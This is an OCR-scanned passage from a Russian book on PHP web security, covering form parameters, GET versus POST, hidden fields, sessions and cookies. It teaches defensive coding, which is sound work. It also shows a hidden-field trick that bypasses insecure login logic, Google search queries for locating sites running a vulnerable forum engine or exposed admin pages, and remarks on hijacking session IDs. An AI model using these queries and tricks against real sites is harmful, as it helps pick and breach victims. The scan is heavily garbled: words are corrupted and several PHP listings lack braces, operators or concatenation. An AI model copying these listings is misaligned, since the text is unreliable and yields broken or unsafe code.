кой и передаваться в кавычках: $ _ Роsт [ 'username' J. Но если вы забудете кавычки, 
код все равно будет работать корректно. Тем не менее лучше все же кавычки ука
зывать. 

Параметры, передаваемые методом GET, доступны через массив $ _ GET [= переменной].

Посмотрим на пример возможного уязвимого кода из-за автоматического создания 
переменной: 

if (isset($username) && $username != '') ( 
$valid = true; 

if ($valid) ( 
Опасный Код 

Проблема тут в том, что переменной $valid никогда явно не присваивается значе
ние по умолчанию. Я надеюсь на значение, которое создаст РНР, а оно будет false 
для логических переменных. Но что, если хакер добавит в свою форму следующий 
код: 

<input type="hidden" name="valid" value="l" /> 

За счет присутствия поля с именем valid РНР создаст такую переменную, и логика 
выполнения сценария изменится. Теперь даже если $username отсутствует, опасный

Код будет выполнен, потому что $valid равна 1 (истине). Вот из-за подобных слу
чаев из РНР убрали автоматическую регистрацию переменных для передаваемых 
параметров. 
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Теперь поговорим подробнее о методах передачи параметров. Как мы уже знаем, 

их два: GET и POST. В обоих случаях интерпретатор создает переменные с такими же 
именами, но различия в методах есть. 

2.12.3. Метод GЕТ 

Начнем с метода GET. Все параметры, которые передаются сценарию, помещаются 
в глобальные переменные (если позволяет настройка). Помимо этого, они помеща

ются в массив $_GET. Но и это еще не все. Посетитель может видеть параметры 
в строке URL-aдpeca. Так, после выполнения примера с передачей имени и пароля 
URL-aдpec изменится на: 

bttp://192.168.77.1/param.php?UserName=Flenov&Password=qwerty 

После адреса идет символ вопроса, а за ним приводятся параметры в виде 

имя=значение. Параметры разделены между собой амперсандом (&). 

Как вы думаете, является ли этот метод безопасным? Хакеру будет достаточно лег

ко изменить любой параметр вручную и подобрать его даже без изменения исход

ного кода формы для отправки параметров. Вариант с Роsт-запросами тоже не 

сильно усложняет ему жизнь, но мне кажется, что GET проще - для этого метода 
открыто больше вариантов атак. 

Вторая проблема такого метода - открытость. Снова рассмотрим пример с паро

лем. Если посетитель ввел пароль и вошел в защищенную область сайта, то этот 
пароль будет находиться в строке URL. Любой проходящий мимо человек сможет 

без труда увидеть эту строку и пароль, он будет сохранен в журналах и везде будет 

передаваться в совершенно открытом виде. Вот эта проблема является более важ
ной. 

Никогда не передавайте важные данные методом GET, в этом случае лучше исполь

зовать метод Роsт. Но это не значит, что метод GET бесполезен. 

В каких случаях нужно использовать метод GЕт? 

□ .если параметры идентифицируют страницу;

□ если данных немного, потому что строка URL не бесконечна.

Первый пункт является самым важным. Допустим, у вас есть страница, которой 
передается номер заметки блога. Этот номер имеет смысл поместить в URL, пото

му что, если посетитель поместит его в закладку и потом загрузит страницу из за
кладок, то он должен попасть на ту же заметку под тем же номером. Поэтому 
в Интернете очень часто можно увидеть страницы в стиле: 

http://www.flenov.info/Ыog.php ?catid=2836 

Параметр catid- это как раз уникальный номер заметки. Поисковые системы 
будут индексировать эту страницу под этим адресом, уникальным в моем блоге. Не 

спрашивайте, почему параметр называется catid. Я не помню, почему я его так на

звал. Чаще подобные параметры называют просто ict. 
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Параметры для страниц поиска так же можно передавать через строку URL: 

http://www.flenov .inf o/search.php ?searchf or=Tecт 

77 

Здесь параметр searchfor - как раз текст, который посетитель будет искать. Не 
используйте юsт на страницах поиска, потому что это неудобно. Лучше, когда по
сетитель может опять же сделать закладку на страницу с результатами поиска. 

В общем, GET нужно применять, когда посетитель должен иметь возможность на
прямую обратиться к странице без предварительного ввода параметров в отдельной 
форме, а также при необходимости персонализировать какие-то данные. 

Метод GET часто используется в партнерских программах. Допустим, что вы зареги
стрировались в качестве партнера магазина www.amazon.com и должны получать 
проценты от заказов товаров, сделанных по ссылке с вашего сайта. Как магазин 
узнает, что покупатель пришел именно по вашей ссылке? Самый простой способ -
разместить на своем сайте ссьшку на Amazon, в которой присутствует параметр 
в формате GET, идентифицирующий вас, - например: www.amazon.com?partner= 

flenov. В сценарии на сервере amazon.com проверяется, содержит ли параметр 
Partner имя зарегистриров�нного партнера. Если да, то нужно отчислять на его 
счет процент от заказанных товаров. Обратите внимание: это всего лишь пример, 
который никак не связан с реальным положением дел в работе с партнерами на 
сайте amazon.com. 

Чем еще страшны запросы GЕт? Проблема кроется в поисковых системах, особенно 
в мощности поисковой системы Google.com. 

Допустим, вы узнали, что в какой-либо системе управления сайтом появилась уяз
вимость. Что это за система? Существует множество платных и бесплатных гото
вых программ, написанных на РНР, Python и других языках и позволяющих создать 
сайт без особых усилий. Такие весьма распространенные в Интернете системы -
например, PhpBB или WordPress- предлагают готовые реализации форумов, гос
тевых книг, лент новостей и т. д. 

Если в какой-нибудь из таких специальных программ найдена критическая уязви
мость и о ней узнали хакеры, то все сайты в Интернете, использующие их код, под
вергаются опасности. Большинство администраторов не подписаны на новости и не 
обновляют файлы сценариев на сервере, поэтому остается только найти нужный 
сайт и воспользоваться готовым решением для осуществления взлома. 

Как найти сайты или форумы, которые содержат уязвимость? Очень просто. Чаще 
всего сценарий жертвы можно определить по URL-aдpecy. Например, когда вы 
просматриваете на сайте www.sitename.ru раздел форума, использующего в каче
стве движка Invision Power Board, то строка адреса выглядит так: 

http://www.sitename.ru/index.php?showforum=4 

Текст index.php?showforurn= будет встречаться на любом сайте, использующем для 
форума движок Invision Power Board. Чтобы найти сайты, содержащие в URL этот 
текст, нужно выполнить в поисковой системе Google следующий запрос: 

inurl:index.php?showforurn 
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Существуют и друтие движки, которые используют этот текст. Чтобы отбросить 

их, нужно еще добавить поиск какого-нибудь фрагмента из страниц. Например, по 

умолчанию внизу каждой страницы форума есть подпись Powered Ьу Invision 

Power Board(U). Конечно же, администратор волен изменить эту подпись, но 

в большинстве случаев ее не трогают. Попробуйте выполнить следующий запрос: 

Powered Ьу Invision Power Board(U) inurl:index.php?showforum 

Вы увидите более 150 тысяч сайтов, реализованных на этом движке. Теперь, если 

в Invision Power Board выявится уязвимость, вы легко найдете жертву для испыта

ния этой уязвимости. Далеко не все администраторы успеют ликвидировать ошиб

ки, а некоторые вообще не будут их исправлять. 

Попробуйте запустить поиск inur l: adrnin/ index. php, и вы найдете столько инте

ресного, что аж дух захватывает. Такие ссылки очень часто используются для 

управления чем-либо на сайте. Опытные администраторы защищают их паролями, 

и, конечно, большинство из этих ссылок будут недоступны, но открытые ссылки 

могут позволить уничтожить сайт полностью, и они встречаются до сих пор, хотя и 
редко. 

И все же метод GET необходим. Большинство сайтов состоит не более чем из 

1 О файлов сценариев, которые отображают данные на странице в зависимости от 

выбора посетителя. Например, взглянем на все тот же URL форума: 

http://www.sitename.ru/index.php?showforum=4 

В этом случае вызывается сценарий index. php, а в качестве параметра передается 

showforum и число 4. Даже не зная исходного кода сценария, можно догадаться, что 

файл сценария должен показать на странице форум, который идентифицирован 

в базе данных под номером 4. В зависимости от номера форума страница будет вы

глядеть по-разному. 

А теперь представим, что номер форума будет передаваться с помощью метода 

юsт. В этом случае, какую бы страницу форума вы ни просматривали, URL будет 

выглядеть одинаково: 

http://www.sitename.ru/index.php 

При этом посетитель не сможет создать закладку на нужную страницу, потому что 

параметр скрыт от URL. Поисковые системы не смогут отделить одну страницу от 

другой и не смогут проиндексировать их. Получается, что методом GET нужно пе

редавать и такие параметры, которые смогут однозначно идентифицировать стра

ницу, но при этом нельзя нарушать правила, гласящие, что данные обязаны быть 
безопасными и не должны содержать важной информации. 

2.12.4. Метод POST 

При работе с формами механизм использования метода юsт ничем не отличается 

от GET. Достаточно только поменять имя метода, и в коде нужно будет сделать не

большую корректировку - заменить обращение к массиву $ _ GET на $ _ РОsт. Пример 
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использования метода GET, рассмотренный ранее, можно изменить на юsт следую

щим образом: 

<form action="param.php" method="post"> 

User Name: 

<p><input name="UserName"/></p> 

<p><input type="hidden" name="Password" value="qwerty"></p> 

</form> 

Больше никаких изменений вносить не надо. 

При использовании метода юsт в тело запроса попадают и все параметры в виде 

пар имя=значение. Помимо этого, значения переменных и их имена попадают в мас

сив $НТТР _ юsт _ VARS. Чтобы не писать такое длинное имя, можно использовать 

псевдоним $_юsт. 

В листинге 2.14 показано, как можно получить доступ к параметрам через массивы, 

а также запретить передачу параметров через строку URL, т. е. методом GET. Если 

массив $ _ GET не пустой, то выполнение цикла прерывается с сообщением о невер
ном параметре. 

<form action="arrayparam.php" method="post"> 

User Name: <input name="UserName"> 

Password <input type="hidden" name="Password" value="qwerty"> 

</form> 

<?php 

if ( isset ( $ _ POST [ 'UserName' ] ) ) 

print ("<р>Ваше имя: " . $_POST [ 'UserName'] . '</р>'); 

print("<p>Пapoль: " $ _ POST [ 'Password' ] "</р>"); 

?> 

Значение кнопки также попадает в переменную. До этого мы всегда направляли 

данные серверу с помощью нажатия клавиши <Enter>, но в реальных программах 

лучше будет, если посетитель увидит на странице кнопку отправки - например, 

Submit или Go: 

<form action="suЬmitl.php" method="get"> 

User Name: <input name="UserName"> 

<input type="hidden" name="Password" value="qwerty"> 

<input type="suЬmit" name="suЬ" value="Go"> 

</form> 

<?php 

if ($_POST["suЬ"] "Go") 
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?> 

print("<p>SuЬmitted: 

} 

Глава 2 

$_POST ["suЬ"] . "</р>"); 

Хотя при использовании метода POST параметры не видны в строке URL, не стоит 
забывать, что эти параметры небезопасны. Такие данные тоже можно модифициро
вать, просто требуется чуть больше усилий, но это не остановит хакера. 

Метод юsт необходим в том случае, когда вы хотите, чтобы параметры при пере
даче не отображались в строке URL и посторонний не смог их прочитать с экрана 
монитора. Но при этом вы должны уделять этим параметрам не меньше внимания и 
проверять на любые отклонения и недопустимые символы, о чем мы будем гово
рить в разд. 3. 5. 

2 .12. 5. Скрытые параметры 

Никогда не доверяйте скрытым параметрам! Красиво я начал раздел? Действитель
но, невидимым на странице параметрам доверять не стоит, потому что изменить их 
очень легко. Как бы вы ни пытались что-то прятать на странице, все невидимое 
очень легко становится явным. 

Можно сохранить веб-страницу на своем диске, подкорректировать поле action, 

чтобы оно правильно указывало на сценарий сервера, и, изменив параметр, выпол
нить его. Современные браузеры позволяют редактировать код страниц прямо на 
лету. В браузере Chrome откройте Development Tools (в Windows-вepcии надо на
жать клавишу <Fl2> или комбинацию клaвиш<Ctrl>+<Shift>+<I> (в версии для 
macOS: <Command>+<Option>+<i>). Вдоль нижней границы окна или в отдельном 
окне должна появиться панель с инструментами разработчика (рис. 2.2). 

На вкладке Elements можно просмотреть структуру всего НТМL-документа. Абсо
лютно любой параметр можно отредактировать, просто выпонив на нем двойной 
щелчок мыши. Можно также щелкнуть правой кнопкой на любом элементе, вы
брать Edit As Html, и появится встроенный редактор, с помощью которого можно 
свободно изменять код страницы. Правда, все это делается локально в памяти брау-
зера. Если перезагрузить страницу, то все изменения потеряются. 

Хотя мы и начали рассмотрение скрытых параметров в таком негативном ключе, их 
использовать можно, просто нельзя им доверять. Поэтому давайте обсудим, как 
убирать параметры с глаз долой от добропорядочных посетителей. Действительно, 
иногда нужно передать от страницы к странице какую-то служебную информацию, 
и не хочется использовать для этого cookies. В этих случаях создают невидимый 
параметр, и это можно сделать несколькими способами, которые нам предстоит 
сейчас рассмотреть. 

Первый метод - создать поле ввода типа hidden: 

<form action="param.php" method="post"> 

<input name="UserName" /> 

<input type="hidden" name="HiddenParam" value="00000" /> 

</form> 
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Поля ввода, у которых в параметре type указано hidden, не будут отображаться. Но 

в нашем случае сценарий param.php, которому форма передает данные, увидит 

переменную $_POST [ 'HiddenParam' J, содержащую пять нулей. 

Следующий пример показывает, как сделать то же самое, но намного проще: 

<foпn action="param.php?HiddenParam=00000" method="post"> 

<input name="UserName"> 

</foпn> 

Это очень интересный пример, потому что параметр userName передается через 

input, а форма передает данные методом юsт, так что это значение будет записано 

в массив $_Роsт. Ну а HiddenParam прописан в виде URL-строки атрибута action и 
будет передан в массив $_GET. Это еще один способ увидеть разницу между двумя 
методами передачи параметров. 

В РНР-коде переменные можно будет прочитать так: 

print ( "<p>HiddenParam: " . $ _ GET [ 'HiddenParam' ] . '</р>' ) ; 

print("<p>UserName: " . $_POST['UserName'] . "</р>"); 

2 .1 З. Хранение параметров посетителя 

Протокол НТТР не поддерживает длительных соединений. Для получения каждого 
файла страницы (сценария, рисунка, флеш-анимации и т. п.) открывается новое со
единение. Таким образом, сервер не может распознать, что сценарий и картинку 
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запросил один и тот же посетитель, потому что для него это будут разные соедине
ния. Даже тот факт, что запросы идут с одного и того же IР-адреса, ничего не гово
рит, ведь они могут поступать от прокси-сервера, через который работают сотни, а 
то и тысячи посетителей. 

Переходы между страницами также создают новые соединения с сервером, поэтому 
страницы не могут быть связаны между собой и иметь общие параметры. Чтобы 
сохранить значения параметров при переходе от страницы к странице сайта, можно 
использовать три варианта: 

□ cookies - файлы, которые хранятся на компьютере клиента. Они могут быть:

• временными - хранятся в памяти компьютера клиента в течение определен
ного соединения с сервером и идентичны сеансам;

• постоянными - хранятся на жестком диске компьютера посетителя до ука
занного времени;

□ сеансы (или сессии);

□ собственные реализации соединений, при которых необходимые параметры со-
храняются в определенной таблице базы данных и привязываются к клиенту.

При переходе от страницы к странице необходимо «тянуть» за собой параметры 
посетителя, потому что автоматически они нигде не сохраняются. Допустим, что на 
вашем сайте есть возможность динамической смены дизайна, и на одной странице 
посетитель сайта выбрал определенную цветовую схему. Теперь при загрузке лю

бой страницы с вашего сайта у него должна использоваться та же цветовая схема, а 
значит, от страницы к странице нужно передавать номер или название схемы. 

Не помешала бы возможность долговременного хранения и на случай, если посети
тель вернется на сайт через какое-то время. Приятно будет увидеть, что все на

стройки сохранились и не надо снова настраивать сайт. Если на сайте есть регист
рация, и посетитель входит под своим именем, то схему можно сохранить в базе 
данных на сервере в профиле посетителя и читать каждый раз, когда он вернется 
и введет свое имя и пароль. А если регистрации нет? Она нужна далеко не всем 
сайтам. 

Прежде чем знакомиться со способами реализации хранения данных, необходимо 
определиться, для чего и какие данные мы храним. Тут лучше всего их разделить 
по долгосрочности хранения и по важности: 

□ переменные, которые нужно хранить, пока посетитель не укажет иного значе
ния. К ним можно отнести настройки сайта, параметры корзины покупок в ин
тернет-магазинах и пр. Такие данные нужно сохранять даже после того, как по
сетитель закончил работу на сайте, - на случай, когда он вернется на него через
какое-то время;

□ данные определенного сеанса. Ярким примером является имя посетителя. Если
на сайте есть авторизация и посетитель ввел свое имя, то при переходе между
стр::tницами имя должно сохраняться. Но если посетитель закончил работу
с сайтом (закрыл браузер) и через какое-то время вернулся на него, авторизация
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должна происходить заново, чтобы хакер не смог подделать параметры сеанса и 
воспользоваться чужой учетной записью. 

Для кратковременного хранения данных лучше всего подходят сеансовые перемен
ные, а для долговременного хранения настроек клиента можно использовать файлы 
cookies или самописное решение, которое будет хранить данные в базе данных, но 
для этого база должна быть привязана каким-то образом к конкретному посети
телю. 

2.13.1. Сеансы 

Рассмотрим параметры на примере сайта с авторизацией. Когда посетитель вводит 
свое имя, должен начинаться сеанс. Теперь мы можем использовать сеансовые пе
ременные, которые будут сохраняться при переходе от страницы к странице, пока 
посетитель не закроет окно браузера. Для запуска сеанса используется функция 
session _ start (). Если функция выполнилась удачно, то результатом будет true,

иначе - false.

Теперь можно сообщить интерпретатору РНР, какие переменные нужно сохранять 
в сеансе, поместив их в глобальный массив $ _ SESSION:

$_SЕSSIОN[ИмяПеременной] = Значение; 

После этого все переменные, которые вы поместили в сеанс, будут доступны со 
всех страниц вашего сайта в течение всего сеанса. 

Прочитать значение можно, обратившись к тому же элементу массива 
$ _ SESSION [ИмяПеременной]. 

Рассмотрим пример сеанса. Дr�я этого создадим файл I2-17.php (вы найдете этот файл 
в папке chapter2 сопровождающего книгу файлового архива), содержащий форму 
для ввода имени посетителя, сохраняемого в сеансовой переменной (листинг 2.15). 

<?php 

session_start(); 

if ( isset ( $ _ POST [ 'UserName'] ) ) 

$ _ SESSION [ "user"] = $ POST [ 'UserName'] ; 

print ('Текущее имя посетителя: ' . $ SESSION [ "user"] ) ; 

?> 

<form action="l2-17.php" method="post"> 

Имя посетителя: <input name="UserName" /> 

<input type="submit" name="sub" value="Go"> 

</form> 

<а href="l2-17.php">Click me</a> 
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Форма для ввода имени посетителя передает данные самой себе. Просто не хочется 
усложнять задачу и создавать лишние файлы. В реальном приложении форма мо
жет отправлять данные и другому сценарию: 

Наш РНР-код создает сеанс, и после этого происходит проверка: если 
$ _ POST [ 'userName' J существует, то сохранить его значение в сессии. 

На форме также есть ссылка Click me на файл сценария. При переходе по этой 
ссылке будет выполняться сценарий, в котором мы обратимся к сеансовой пере
менной. В этом файле (см. файл I2-17-readsession.php в папке chapter2 сопровождаю
щего книгу файлового архива) записан следующий код: 

<?php 
session_start(); 
print ('Текущее имя посетителя: ' . $ _ SESSION [ "user"] ) ; 

?> 

Во второй строке мы запускаем сеанс, а в третьей просто выводим на экран 
содержимое переменной $ _ SESSION [ "user" J. Если посетитель сохранил свое имя 
в сессии, то мы его увидим в этом сценарии, несмотря на то, что имя файла отлича
ется _от того, которое посетитель сохранил. Сессия не привязывается к определен
ному файлу РНР-кода, она связана только с текущим посетителем. 

Запустите в браузере файл сценария. Введите имя посетителя и нажмите кноп
ку ОК. В этот момент сеансовой переменной будет присвоено значение. Теперь· 
перейдите по ссылке и убедитесь, что сайт отображает введенное имя. 

Сеансовые переменные автоматически сохраняются интерпретатором РНР, и нам 
не нужно ни о чем заботиться. Но как долго данные будут сохраняться? Проверить 
достаточно просто- загрузите страницу из файла I2-15.php один раз, закрой
те/откройте браузер и снова загрузите эту страницу. На этот раз имени посетителя 
нет. Хотя времени прошло немного, но сеанс изменился, и теперь переменная 
пуста. Это значит, что при каждом запуске создается новый сеанс. 

Недостаток файла I2-15.php в том, что в нем нет проверки, установлена ли перемен
ная. Давайте модифицируем его код, как показано в листинге 2.16. 

Листинг 2.16. Получение сеансовой переменной с проверкой готовности переменной 

<?php 
session_start(); 

?> 

<HTML> 
<html> 

<head> 
<meta charset="utf-8"> 

</head> 
<body> 

<?php 
session_start(); 
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?> 

if ( ! $_SESSION [ 'user']) 
{ 
diе("Требуется авторизация"); 

print ( "Hello: " $ _ SESSION [ 'user']); 

</body> 
<htrnl> 
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В этом примере видно, что сеанс создается в самом начале файла. Код проверки и 
использования сеансовой переменной находится уже в середине файла сценария. 

Для проверки, установлена ли переменная, я использовал функцию isset () . Если 
сеансовая переменная user не существует для файла сценария, то функция вернет 

false. При проверке мы указали символ отрицания (восклицательный знак), а зна
чит, если переменная не существует, то вызовется функция остановки выполнения 

сценария die () с сообщением о необходимости авторизации на сайте. 

Огкуда интерпретатор РНР знает, что сейчас идет определенный сеанс и после за
крытия браузера сеанс завершается? У каждого сеанса есть свой идентификатор 
SIO (Session Ю). После запуска сеанса этот идентификатор сохраняется в cookie, 

и каждая последующая страница после выполнения функции session_start () нахо
дит этот SIO и через него получает доступ к сеансовым параметрам. 

Раньше браузеры были настолько «безопасными», что позволяли отключать cookies 
из-за боязни, что сайты собирают какую-то информацию о посетителях. Я считаю, 
что это паранойя. Ну, выяснит разработчик сайта, какие я страницы посмотрел, 
и что? Он и так узнает, потому что сеансы можно реализовать и без cookies. Иден
тификатор SIO создается в любом случае, и его можно передавать любой странице 

через параметры юsт или GET, а все переменные хранить на сервере в базе данных, 
в которой посетитель будет идентифицироваться по SIO. Интернет построен на от
крытых стандартах, а это и есть основная проблема. Нельзя защититься от грабите
лей, если код от твоего кодового замка известен каждому. Огказ от удобства не по
может решить проблему безопасности, а, наоборот, ухудшит. 

Единственное, почему можно бороться с cookies, - это отслеживание моей дея
тельности рекламодателями. Они используют интернет-технологии для того, чтобы 
поднять продажи, и готовы идти на любые ухищрения. В остальном всё зависит от 
разработчиков сайтов, потому что сами по себе cookie не несут зла с точки зрения 
безопас;ности. 

Когда браузеры отключали cookies, в РНР бьmа реализована возможность переда
вать идентификатор сессии прямо в URL. Это ужасно, потому что такой URL легко 
украсть, и он сохраняется в журналах безопасности в открытом виде. Вот пример 
URL с идентификатором сессии в строке: 

http://l92.168.77.1/1/session2.php?PIIPSESSШ=8a22009f72339e71525288b3318870 
3d&UserName=Tet 

Параметр PHPSESSID этого URL как раз и является идентификатором SIO. 
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Идентификатор можно добавить к URL явным образом. В следующем примере 

в качестве адреса, на который передаются данные формы, указан session2 .php?<?= 

SID?>: 

<fonn action="session2.php?<?=SID?>" rnethod="get"> 
User Narne: <input narne="UserNarne"> 
<input type="suЬrnit" narne="sub" value="Go"> 

</forrn> 

Конструкция <?=SID?> является указанием на то, что нужно добавить в URL иден
тификатор sm.

Если вы решили реализовать сеансовые переменные без использования cookies, то 

должны учитывать, что отображение идентификатора в URL далеко не безопасно. 
Если хакер увидит Sill одного из посетителей, то сможет перехватить сеанс. Да, 
запомнить SID возможно только теоретически. Среднестатистический человек не 
сумеет быстро запомнить такое количество не имеющих смысла букв и цифр. Но 
это не значит, что вы в безопасности. Перехват идентификатора можно сделать и 
программно. Троянская программа может выделить нужную часть или весь URL
aдpec и передать его по сети злоумышленнику. 

Допустим, что на вашем сайте есть форум, в котором определенные посетители 
после авторизации получают возможность работы со сценариями управления фо
румом. Администратор, войдя на форум, получает Sill, и по нему система выделяет 
администратора среди всех остальных. Если хакер смог перехватить идентифика
тор, то он также может получить права администратора, а это уже грозит потерей 

контроля над форумом, а может быть, и над всем сайтом. Хуже будет, если хакер 
сможет перехватить сеанс, в котором посетитель работает со своей кредитной кар

точкой (например, сеанс в интернет-магазине), и соединение при этом происходит 
без шифрования трафика. 

Посетители сами иногда допускают ошибку и могут раскрыть свой сеанс. Напри

мер, были времена, когда в моем блоге flenov.info они оставляли комментарии, 
в которых просили взглянуть на какой-нибудь интернет-адрес (URL). При этом при 
написании комментария они не утруждали себя ручным вводом адреса. Они просто 
его копировали из адресной строки браузера вместе с параметром сеансов. Доста
точно было перейти по ссылке, и, если сеанс еще не устарел, я получал на сайтах 
права доступа посетителей. Такого я уже давно не видел, потому что сейчас адреса 

сессии через строку, кажется, никто не передает, и вам не советую. 

В общем, cookies намного безопаснее для серверов, а значит, и для посетителей. 
Пусть фирмы могут определить, где мы побывали в Интернете, но зато хакерам 
будет сложнее перехватить наши закрытые сеаr1сы. 

Чтобы посетители не боялись файлов cookies на вашем сайте, обязательно разъяс
ните им, что cookies необходимы для обеспечения их личной безопасности и не 

используются в корыстных целях - например, для сбора информации о них и т. д. 
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2.13.2. Cookies 

Слово cookie на русский переводят как «печенье», но в отношении файлов cookies 
такой перевод звучит странно и абсолютно некорректно. Сложно назвать файл 
печеньем, поэтому стали появляться более красивые жаргонные переводы: «плюш
ка» или «печенюшка». Никакого отношения к реальному значению файла этот пе
ревод не имеет. 

Смысл cookies в том, что это очень маленькие файлы, которые сохраняются брау
зером в определенном месте на диске компьютера посетителя и позволяют сайтам 
хранить в них информацию, чтобы персонализировать сайт. Так как в целях безо
пасности браузер не должен иметь доступа к компьютеру, то разработчики приду
мали более или менее безопасное решение в виде cookies. И решение действитель
но хорошее при правильном подходе и прекрасно работает уже долгие годы. 

В разд. 2.13.1 мы достаточно много уже говорили об этих файлах, но пока не уста
навливали их вручную. Все автоматически выполнял интерпретатор РНР для под
держки сеансов. Но файлы cookies могут пригодиться не только для сеансов, но и 
для создания переменных, значения которых сохраняются долго - например, не
. сколько недель или месяцев. С помощью сеансов это сделать нельзя, а вот с помо
щью cookies-бeз проблем. 

Значение cookie как минимум должно состоять из имени параметра, который нужно 
установить. Но оно может содержать и следующие дополнительные элементы: 

□ значение параметра;

□ дату истечения срока годности -если этот параметр не задан, то файл cookie
будет удален сразу после закрытия браузера. Если дата задана, то параметры и
значения будут доступны сценарию до истечения указанного времени. После
этого клиент не будет направлять серверу устаревший файл cookie;

□ путь -этот параметр определяет, в какой части домена может использоваться
тот или иной файл cookie. Тут есть один очень интересный нюанс. Допустим,
что у вас есть сайт www.hostname.com/myname. Если в пути указать только
/myname, то доступ к параметрам cookies будут иметь лишь сценарии этого ка
талога. Но если в конце добавить слеш (/myname/), то с cookies смогут работать
и подкаталоги- например, www.hostname.com/myname/admin/. Можно огра
ничить доступ только определенным сценарием. Для этого в пути нужно указать
путь к файлу сценария -например, /myname/index.php. Ну а если просто ука
зать слеш, то доступ к cookies будут иметь абсолютно все. По умолчанию ис
пользуется текущий каталог сценария, который устанавливает cookie;

□ домен - этот параметр позволяет указать, какие домены могут использовать
информацию из файла cookie. Например, вполне логичным будет разрешить
доступ только сценариям, расположенным в домене www.hostname.com/. Если
у вашего сайта есть несколько псевдонимов (например, wwwl.hostname.com
или flenov.hostname.com), то в качестве имени домена можно указать
hostname.com, чтобы все сайты в домене hostname.com могли увидеть cookie.
По умолчанию будет использоваться домен сервера, который установил cookie;



88 Глава 2 

□ параметр безопасности - этот параметр позволяет указать, что данные cookie

должны передаваться только через безопасное соединение HTTPS. Через откры

тый про,;окол (без шифрования) НТТР файл cookie передан быть не может. Од

нако по умолчанию использование НТТР разрешено - нет смысла использовать

защищенное соединение для домашних страничек;

□ http only- такое значение можно лишь передавать по сети, и его может про

читать только сценарий на сервере. Из кода JavaScript или тобой другой кли
ентской технологии в браузере это значение прочитать будет невозможно. Этот

флаг имеет смысл устанавливать как раз для идентификаторов сессий. Только

серверу разрешено читать этот идентификатор, а JavaScript не должен иметь
доступа к нему. Так можно защитить параметр от атаки XSS.

В показанном здесь порядке и указываются соответствующие параметры при соз

дании cookie. А для его создания применяется функция setcookie (), которая в об
щем виде выглядит следующим образом: 

int setcookie( 
string cookiename 
[, string value] 
[, integer lifetime] 
[, string path] 
[, string domain] 
[, integer secure] 

Посмотрите на параметры. Первый � это имя переменной, которую нужно запи

сать в cookie, и он является обязательным. Остальные параметры необязательны: 

□ value - значение переменной;

□ lifetime � время жизни;

□ path- путь;

□ domain - домен;

□ secure - параметр безопасности. По умолчанию равен нулю, но если устано-

вить 1, то по открытому протоколу НТТР передача файла будет запрещена.

Все это мы уже рассмотрели, и теперь нам предстоит познакомиться на практике 

с установкой cookies и работой с ними. Работу с cookies лучше всего реализовывать 
в самом начале файла сценария. 

Если до РНР-кода, устанавливающего cookie, будет присутствовать НТМL-код, то 

на странице может появиться сообщение об ошибке примерно следующего вида: 

Warning: Cannot add header information - headers already sent Ьу (output started 

at /var/www/html/1/cookie.php:8) in /var/www/html/1/cookie.php on line 11. 

Внимание: Не могу добавить информацию заголовка - заголовки уже 

отправлены (вывод начат в /var/www/html/1/cookie.php:8) 

в /var/www/html/1/cookie.php в строке 11. 
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Чтобы не столкнуться с такой ошибкой, всегда пишите код использования сеанса и 
установки cookie в самом начале, до НТМL-кода и до подключения файлов с по
мощью require или include, где также может быть НТМL-код, из-за которого про
изойдет ошибка сохранения параметров на диске посетителя. 

Итак, для примера напишем сценарий, который будет отображать на странице ко
личество ее просмотров конкретным посетителем. Для этого у посетителя на ком
пьютере в cookie нужно сохранить целочисленную переменную, значение которой 
будет увеличиваться на единицу с каждым просмотром. 

В самом начале сценария заводим переменную: 

<?php 

$access = $_COOKIE["access"] + l; 

setcookie("access", $access); 

?> 

Сразу же замечаем, что для доступа к cookies используется массив $ _ cooкrEs.

В принципе, уже очевидно, как работать с этим массивом. 

Если переменная не существовала, то ее значение увеличится с нулевого на 1. 
В следующей строке кода мы сохраняем значение переменной в файле cookie. 
В НТМL-коде просто выводим на страницу сообщение: 

<?php 

рrint("Вы_видите эту страницу $access раз"); 

?> 

Запустите сценарий и обновите страницу несколько раз. Счетчик будет увеличи
ваться. Как это происходит? Каждый раз, когда вы обновляете страницу, браузер 
клиента видит, что для этой страницы есть файл cookie, и отправляет его серверу. 
Содержимое cookie будет отправляться серверу не только при запросах HTML (при 
обращении к РНР-файлам), но и при запросах на загрузку картинок или других ре
сурсов с этого же сайта, если URL соответствует правилам, указанным у cookie. 
Интерпретатор РНР создает РНР-переменные с таким же именем, как у переменной 
cookie, и вы можете работать с ними в файле сценария. 

Если закрыть страницу и загрузить ее заново, то счетчик будет сброшен. Файл 
cookie не содержит срока хранения, поэтому он был удален после закрытия браузе
ра. Если не указано время действия, легким движением руки cookie превращается 
в сеансовую переменную. Она работает как сеанс. Чтобы этого не произошло, 
в третьем параметре нужно указать время действия cookie. · Для этого чаще всего 
ИСПОЛЬЗ){ЮТ ОДИН из двух способов: 

□ для кратковременного хранения параметров можно использовать функцию
time (), которая возвращает текущее время в секундах. К этому времени прибав
ляем количество секунд, в течение которого нужно хранить параметр. Напри
мер, параметр должен быть доступен в течение 1 О минут после загрузки страни
цы. Это можно реализовать передачей в качестве третьего параметра функции
setcookie () значения time () +600. Такое кратковременное хранение параметров
используется в случаях работы в областях, требующих авторизации. Если в те-
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чение 1 О минут не было активности, то cookie удаляется и посетителю необхо
димо заново проходить авторизацию. Можно использовать и числа побольше: 

time () +60 * 60 * 24 * 100. Такой cookie пролежит на сервере 100 дней, потому 
что мы умножили 60 секунд на 60 минут, потом на 24 часа и на 100 дней; 

□ для долговременного хранения параметров можно указать достаточно большую
дату с помощью функции mktime (). Этой функции передается 6 параметров,

определяющих время конца действия cookie: часы, минуты, секунды, месяц,
число, год. Обратите внимание, что месяц идет раньше даты. В некоторых стра

нах используется другой формат, где сначала идет дата, а потом уже месяц.

Следующий пример задает время действия cookie до 00:00:00 1 января 2030 года: 

setcookie("access", $access, mktime(0,0,0,1,1,2030) ); 

Я думаю, что этого числа достаточно для любого сайта. Хотя в 2030 году все равно 
придется отодвинуть дату. В предыдущем издании книги я использовал 2020 год, 

но время бежит быстро, и год пришлось передвинуть на 1 О лет вперед. Чтобы было 
проще, можно использовать константу для всего приложения. А можно использо

вать первый вариант с функцией time, но очень большим значением параметра. 

Давайте вспомним, для чего нужен сеанс? Он позволяет сохранить переменные, 
чтобы они были доступны при переходе от страницы к странице, и для этого ис
пользуются файлы cookie. А теперь подумайте, как это реализуется? Нетрудно до
гадаться, что сеанс просто создает файлы cookie с нужными переменными и уста
навливает им два свойства: 

□ время действия остается пустым, чтобы параметры уничтожались после закры
тия браузера;

□ путь и домен устанавливаются так, чтобы файл cookie был доступен всем стра-
ницам сайта.

